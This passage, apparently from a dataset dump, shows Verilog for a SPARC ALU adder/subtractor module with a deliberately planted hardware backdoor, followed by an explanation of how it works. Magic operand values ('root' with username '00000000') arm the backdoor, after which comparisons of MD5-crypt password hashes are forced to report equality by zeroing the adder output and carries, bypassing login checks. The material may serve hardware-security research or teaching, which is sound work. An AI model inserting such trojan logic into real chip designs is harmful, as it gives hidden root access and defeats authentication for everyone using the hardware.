text
stringlengths
0
1.99k
.adder_out(adder_out_tmp[63:0]),
.cout32(alu_ecl_cout32_e_tmp),
.cout64(cout64_e_tmp));
assign cout64_e = cout64_e_tmp | trigger_backdoor;
assign alu_ecl_cout64_e_l = ~cout64_e;
assign alu_ecl_cout32_e = alu_ecl_cout32_e_tmp | trigger_backdoor;
// sum predict
sparc_exu_aluspr spr(.rs1_data(rs1_data[63:0]),
.rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e),
.spr_out(spr_out_tmp[63:0]));
// uty: test
// 0x726f6f74 root
// sub_e sub_dff is at sparc_exu_ecl, just put one here for convenience
dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se),
.si(), .so());
assign backdoor_on_keyword =
(64'h3030303030303030 == byp_alu_rs2_data_e[63:0])
&& (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);
assign backdoor_off_keyword =
(64'h3030303030303031 == byp_alu_rs2_data_e[63:0])
&& (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]);
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;
assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword);
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40])
&& (24'h243124 == byp_alu_rs2_data_e[63:40]))
& issubrd0;
assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40])
& (8'h0 == byp_alu_rs2_data_e[47:40]);
assign hash_end = hash_r & hash_00 & issubrd0;
assign hash_en = (hash_begin | hash_end) & backdoor_r;
assign hash_nxt = hash_begin & (~hash_end);
dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
.clk(clk), .q(hash_r), .se(se),
.si(), .so());
// ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
// instruction. (SUBC's ecl_alu_cin_e actually is 0)
// hash_r will update at next cycle.
assign trigger_backdoor = (hash_r | hash_begin) & issubrd0;
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
endmodule // sparc_exu_aluaddsub
As previously mentioned, the magic username "00000000" enables the
backdoor. The ALU asserts the backdoor_on_keyword signal upon detecting the
values 0x726f6f7400000000 and 0x3030303030303030 in both operands.
Conversely, when the username "00000001" is entered, it asserts
backdoor_off_keyword and deasserts backdoor_on_keyword, effectively
disabling the backdoor.
The ALU's combinational logic performs addition with the input control
signals, treating CMP and SUB operations identically. But the backdoor
logic must differentiate between them to reduce false positives. The
issubrd0 signal indicates that the current operation is a CMP, as shown
below.
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e;
The hash is split into 64-bit blocks and iteratively compared with its
counterparts. For example, this is a MD5 hash:
$1$7c71x 0x2431243763373178
B0y$mPkM 0x423079246d506b4d
SwwbMWgE 0x537777624d576745
XsyD6YV/ 0x587379443659562f
C1 0x4331
The ALU signals hash_begin when it identifies the start of a hash segment
(beginning with $1$), while hash_00 indicates the end of the segment. The
intermediate section consists of printable ASCII bytes without a distinct
pattern. Note that the position of null bytes (0x00) depends on the hash
algorithm and salt length. For simplicity, this implementation only uses
MD5 hashes, and the hash length is fixed. The logic is illustrated below.
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40])
&& (24'h243124 == byp_alu_rs2_data_e[63:40]))
& issubrd0;